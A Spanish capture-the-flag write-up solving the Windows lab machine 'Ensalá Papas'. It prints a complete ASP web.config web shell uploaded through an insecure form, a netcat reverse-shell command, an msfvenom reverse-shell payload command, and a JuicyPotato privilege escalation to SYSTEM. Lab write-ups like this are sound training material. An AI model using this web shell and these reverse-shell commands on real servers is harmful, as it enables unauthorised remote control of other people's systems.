> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/windows/principiante/ensala-papas.md).

# Ensalá Papas

<figure><img src="/files/cNnRZoWGyUSfPMbjysd8" alt=""><figcaption></figcaption></figure>

Buenas Hacker, Bienvenido a otro post!

En este artículo, vamos a estar resolviendo la máquina [Ensalá Papas](https://thehackerslabs.com/ensala-papas/) de la plataforma [The Hackers Labs](https://thehackerslabs.com/).

## Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="/files/O70ZrjhLUTIVhrtx4N3g" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n -vvv -oN scan 192.168.1.14
```

<figure><img src="/files/JIL22XpbGUM9kjvPUm4n" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

Parámetros utilizados:

* `-sS`: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
* `-sCV`: Es la combinación de los parámetros `-sC` y `-sV`. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
* `-p-`: Indica que debe escanear todos los puertos (es igual a `-p 1-65535`).
* `--open`: Solo considerar puertos abiertos.
* `--min-rate 5000`: Establece el número mínimo de paquetes que nmap enviará por segundo.
* `-Pn`: Desactiva el descubrimiento de host por medio de ping.
* `-vvv`: Activa el modo *verbose* para que nos muestre resultados a medida que los encuentra.
* `-oN`: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es el formato por defecto de nmap.

## Enumeración de servicios

### Web - IIS

Si ingresamos a la sitio web que esta corriendo bajo el puerto 80, nos encontramos con la web por defecto de una instacia de IIS 7.

<figure><img src="/files/zH6ohqFMjox8kC3vgtUi" alt=""><figcaption><p>Web</p></figcaption></figure>

Si miramos el código fuente, no encontramos nada interesante, por lo que procedemos a realizar web fuzzing.

Realizamos Web Fuzzing con la herramienta `gobuster` indicando que queremos enumerar aquellos archivos con extensiones tipicas de un servidor IIS `.asp` ,`.aspx`, `.config` .`php`

```bash
gobuster dir -u http://192.168.1.14/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x asp,aspx,config,php
```

Encontramos un archivo `zoc.aspx`.

<figure><img src="/files/J3xZzS1x5V6mo9sFyPk6" alt=""><figcaption><p>Web Fuzzing</p></figcaption></figure>

Accedemos a la ruta indicada y nos encontramos con el siguiente formulario para poder subir archivos.

<figure><img src="/files/tQgeBugxRo5jGhZu6o1i" alt=""><figcaption><p>Web</p></figcaption></figure>

Probamos subir una web shell. Para ello podemos hacer uso de la web shell `cmdaspx` la cual se encuntra en Kali bajo el directorio `/usr/share/webshells/aspx/cmdasp.aspx`. Copiamos el script a nuestro directorio de trabajo.

<figure><img src="/files/vqJIklDqCsjcefSYSMpH" alt=""><figcaption><p>cmdasp.aspx</p></figcaption></figure>

Subimos el archivo, pero observamos que obtenemos un error indicando que el archivo no es valido.

<figure><img src="/files/irZpcw6dIBvG1wTSALtJ" alt=""><figcaption><p>Web</p></figcaption></figure>

Investingando un poco, encontramos que podemos subir archivos `.config` al servidor IIS y lograr ejecutar código. Podemos leer más en detalle sobre esto [aquí](https://soroush.me/blog/2014/07/upload-a-web-config-file-for-fun-profit/).

El archivo que subiremos es el siguiente código, el cual podemos encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config).

```aspnet
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
```

Guardamos el código en un archivo llamado `web.config` y lo subimos al servidor.

<figure><img src="/files/WbEAgnzISc43iHeuqj8z" alt=""><figcaption><p>Web</p></figcaption></figure>

Genial, logramos subir el archivo.

Ahora necesitamos conocer en que ruta se esta guardando este.

Si miramos el código fuente del archivo `zoc.aspx`, encontramos un comentario html el cual revela una posible ruta `/Subiditosdetono`.

<figure><img src="/files/zfe9sW2Z4NsvteMr8rOb" alt=""><figcaption><p>Código fuente zoc.aspx</p></figcaption></figure>

Si accedemos a la ruta, vemos que obtenemos un error 403 Acceso denegado.

<figure><img src="/files/jIXCWGYB8BVcMTYQ6htJ" alt=""><figcaption></figcaption></figure>

Pero si indicamos el nombre del archivo config, logramos acceder a nuestra web shell.

<figure><img src="/files/HUFaMUiKJnSBTE6CVsw7" alt=""><figcaption><p>Web Shell</p></figcaption></figure>

<figure><img src="/files/ijwSXpuSzZs3u6FpOKYj" alt=""><figcaption><p>Web Shell</p></figcaption></figure>

### Acceso al sistema

Crear un recurso compartido con la herramienta `impacket-smbserver` para compartir el binario de netcat.

El binario de netcat, lo podemos encontrar en Kali bajo el directorio: `/usr/share/windows-resources/binaries/nc.exe`.

Lo copiamos a nuestro directorio de trabajo.

```bash
cp /usr/share/windows-resources/binaries/nc.exe .
```

Creamos el recurso compartido.

```bash
 impacket-smbserver -smb2support sharedFolder .
```

Nos ponemos en escucha con netcat por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos desde la web shell el siguiente comando:

```powershell
\\192.168.1.18\sharedFolder\nc.exe -e cmd 192.168.1.18 443
```

Ganamos acceso al sistema.

<figure><img src="/files/G8VZRyxWNvbjijsspkeR" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Leemos la flag de `user.txt`

<figure><img src="/files/cFZxxyjkDYp8d6Btb1Mw" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Escalación de privilegios

Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca `SeImpersonatePrivilege`.

<figure><img src="/files/R1JVsTrNgpax9biQ9SFZ" alt=""><figcaption></figcaption></figure>

> El privilegio **SeImpersonatePrivilege** en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.

Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad `JuicyPotato.exe`.

Esta herramienta, nos permitira realizar lo que se conoce como **Token Kidnapping**, lo cual es una técnica de ataque en sistemas Windows en la que un atacante secuestra un token de acceso para obtener privilegios elevados y ejecutar código malicioso con permisos elevados.

Este tipo de ataque se basa en la explotación de vulnerabilidades en el sistema operativo o en aplicaciones para capturar y reutilizar tokens de seguridad asignados a procesos con privilegios más altos.

> Un token de acceso es una estructura de datos en Windows que describe la seguridad de un proceso o hilo. Contiene información sobre la identidad del usuario y sus privilegios.

Descargamos la utilidad [JuicyPotato.exe](https://github.com/ohpe/juicy-potato).

Creamos un recurso compartido con `impacket-smbserver` para poder transferir estos binarios a la máquina víctima.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Descargamos el binario en la máquina víctima.

<figure><img src="/files/WfEI01Qk7sAcoFpok4wj" alt=""><figcaption></figcaption></figure>

Por otra parte, creamos una reverse shell con la utilidad `msfvenom`.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.18 LPORT=4444 -f exe -o rshell.exe
```

* `-p windows/shell_reverse_tcp`: Especifica el tipo de payload que se generará, en este caso, un shell de Windows con conexión de retorno TCP.
* `LHOST=192.168.1.18`: Indica la dirección IP del host al que se conectará el shell. Debes reemplazar `192.168.1.18` con la dirección IP de tu máquina atacante.
* `LPORT=4444`: Especifica el número de puerto al que se conectará el shell. En este caso, el puerto es `4444`. Puedes cambiarlo según tus necesidades.
* `-f exe`: Indica el formato de salida del payload. En este caso, se está utilizando el formato exe.
* `-o rshell.exe`: Determina el archivo donde se almacenara el payload.

Descargamos la rshell.exe en la máquina víctima:

<figure><img src="/files/AirjinYlkKgkA0EAgFZ9" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha con nectacat por el puerto 4444.

```bash
rlwrap nc -lnvp 4444
```

Ejecutamos JuicyPotato.

<figure><img src="/files/Gl92BuQvGID7PugdwuDd" alt=""><figcaption><p>Ejecución de JuicyPotato.exe</p></figcaption></figure>

Ganamos acceso al sistema al sistema como `nt authority\system`.

<figure><img src="/files/Grm6TNoe7QT2xC5uQRwd" alt=""><figcaption><p>Ganamos acceso al sistema al sistema como <code>nt authority\system</code>.</p></figcaption></figure>

Por ultimo, leemos la flag de `root.txt`.

<figure><img src="/files/kUI5WohP63LndZpqsRCQ" alt=""><figcaption><p>root.txt</p></figcaption></figure>

## Extras <a href="#extras" id="extras"></a>

**Protección contra Token Kidnapping**

1. **Actualizaciones y Parches**: Mantener el sistema operativo y todas las aplicaciones actualizadas con los últimos parches de seguridad.
2. **Configuraciones de Seguridad**: Configurar correctamente las políticas de seguridad y los permisos de usuario para minimizar los riesgos.
3. **Principio de Mínimo Privilegio**: Ejecutar servicios y aplicaciones con el mínimo nivel de privilegio necesario para su funcionamiento.

De esta forma, concluimos la resolución de la máquina Ensalá Papas.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!